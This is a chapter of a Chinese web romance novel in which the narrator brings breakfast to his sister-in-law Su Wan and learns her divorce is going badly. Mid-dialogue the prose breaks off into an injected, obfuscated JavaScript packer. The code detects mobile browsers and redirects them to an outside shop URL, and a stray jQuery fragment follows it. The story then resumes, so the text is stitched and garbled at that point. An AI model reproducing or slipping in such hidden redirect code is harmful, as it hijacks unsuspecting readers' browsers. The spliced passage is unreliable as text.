第22章 迫不及待的见面
作品:《温柔的婉姐》 第二天凌晨五点半,天还没亮透。
我拎着一个帆布包走出宿舍,包里面塞了两件换洗衣服和昨晚在便利店买的面包。去开发区的长途公交六点发车,我提前半个小时出门,想在路上给苏婉买点东西。
她上次说开发区分店附近没什么像样的早餐店,每天早上都是凑合着喝杯豆浆。我在车站旁边的一家老字号买了刚出笼的包子、一保温桶热粥,又让老板娘多装了两份小菜。
老板娘是个五十多岁的胖大姐,看着我手里的东西笑了:“小伙子,看女朋友去?”
“不是。”我说,“看嫂子。”
“嫂子?”大姐意味深长地看了我一眼,“那你这心可够细的。你嫂子有福气。”
我没接话,拎着东西上了车。
大巴摇摇晃晃地驶出车站,穿过还在沉睡的滨海市老城区,上了通往开发区的环道。窗外的城市慢慢褪去,取而代之的是排排在建的楼盘。
我靠着车窗,脑子里乱糟糟的。
秦红说过心软是病,也许她说得对。但有些事,不是心不心软的问题。
是——你没办法假装看不见一个人在你面前哭。
车开了将近一个小时,在开发区客运站停下来。
我拎着东西下车,站在路边,四处张望。开发区和市区完全是两个世界。没有高楼大厦,没有霓虹灯,路很宽,车很少,空气里有一股泥土和灰尘混合的味道。
苏婉的分店在开发区中心的一条商业街上。说是商业街,其实就是一条两三百米长的街道,两边开着各种小店——超市、理发店、药店、小吃摊。
分店的招牌挂在街角的一栋两层小楼上面,白色的底,粉色的字,写着“红颜美容·开发区分店”。
我走到门口,门还没开。卷帘门拉着,上面贴着一张手写的告示:“营业时间:9:00-20:00。”
我看了看手机,七点半。还有一个半小时。
我绕到楼后面,找到员工宿舍的入口。那是一扇铁门,门锁是那种老式的密码锁。苏婉在微信里告诉过我密码,我输入“0912”,门开了。
楼梯很窄,灯光昏暗。我上了二楼,走到苏婉的房间门口,深吸了一口气,敲了三下,没人应。
又敲了三下,门开了一条缝,苏婉的脸从门缝里露出来。
她穿着一件旧T恤,头发散着,脸上没有化妆。眼睛下面有很深的黑眼圈,嘴唇干裂,整个人看起来像是三天没睡觉。
但她看到我的那一刻,眼睛里亮了一下。
“小远?”她的声音有些哑,“你怎么来了?”
“昨晚说了,今天过来。”我举起手里的东西,“给你带了早饭。”
她愣了一下,然后笑了。
“进来吧。”她拉开门,侧身让我进去。
房间不大,一张单人床、一张桌子、一个衣柜。窗帘拉着,房间里有些暗。床上被子没叠,枕头上有泪痕干涸的痕迹。
她昨天晚上哭过,我心里一紧,但没有问。
“你坐。”她指了指床边的椅子,“我去洗把脸。”
她进了洗手间,水龙头哗哗地响。我站在房间里,环顾四周。桌上摆着一台打开的笔记本电脑,屏幕上是一个文档——标题是“离婚起诉书”。旁边放着几张打印出来的法律条文,用红笔画着线。
她在准备离婚的事,而且显然,并不顺利。
苏婉从洗手间出来,洗了脸,把头发扎成马尾。虽然眼睛还是红的,但精神了一些。
“嫂子,先吃早饭。”我把保温桶打开,粥还热着,包子也还冒着热气,“趁热吃。”
她看着桌上的东西,眼眶又红了。
“小远,你大老远跑来,就为了给我送早饭?”
“不是为了送早饭。”我看着她,“是为了看看你。”
她的嘴唇动了一下,像是想说什么,但没说出来。
她在床边坐下,端起粥,小口小口地喝。我坐在椅子上,看着她喝粥,两个人谁都没说话。
房间里很安静,只有勺子碰到碗壁的清脆声响。
“嫂子,”我开口,“离婚的事,怎么样了?”
她的手顿了一下,放下勺子。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428264|200897||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“不顺利。”她的声音很低,“林强不同意。”
“他现在在哪?”
“不知道。”她摇了摇头,“他从看守所出来之后,就没露过面。他请了律师,律师说他要我净身出户。”
“净身出户?”我的拳头攥紧了,“房子是你们一起买的,凭什么?”
“房子在他名下。”苏婉苦笑了一下,“以前我太相信他了,觉得夫妻之间不用分那么清。现在……”
她没说完,但意思很明显。
“钱呢?你的积蓄——”
“被他拿走了。”她的声音平静得可怕,“美容院转让的钱,还有我以前的积蓄,全被他拿走了。说是投资,其实是还赌债。我现在手里只剩下开发区分店的流动资金,但那笔钱是红姐的,我不能动。”
我看着她,心里涌起一股酸涩。
她什么都没了。房子、钱、青春——全被那个男人毁了。
“嫂子,你别怕。”我说,“钱的事,我来想办法。”
“你有什么办法?”她看着我,“你自己一个月才几千块工资,还要攒钱——”
“我可以跟红姐预支工资——”
“不行。”她打断我,“小远,你听我说。这是我自己的事,你别掺和进来。你已经帮了我很多了,我不能再拖累你。”
“你不是拖累。”我的声音有些大,“嫂子,你从来都不是拖累。”
她看着我,眼神复杂。
“小远,你……”
“嫂子,我不是小孩子了。”我站起来,走到她面前,“我知道我在说什么。林强那边的事,你交给我。我虽然没钱,但我不怕他。他要打官司,我陪他打。他要找人**,我——”
“你怎样?”她抬起头,看着我,“你还能打他不成?”
“我——”
“小远。”她站起来,伸出手,握住了我的手。她的手很凉,但很稳,“我知道你心疼我。但是有些事,不是靠拼命就能解决的。”
“那靠什么?”
“靠脑子。”她说,嘴角动了一下,“你不是一直很有脑子吗?”

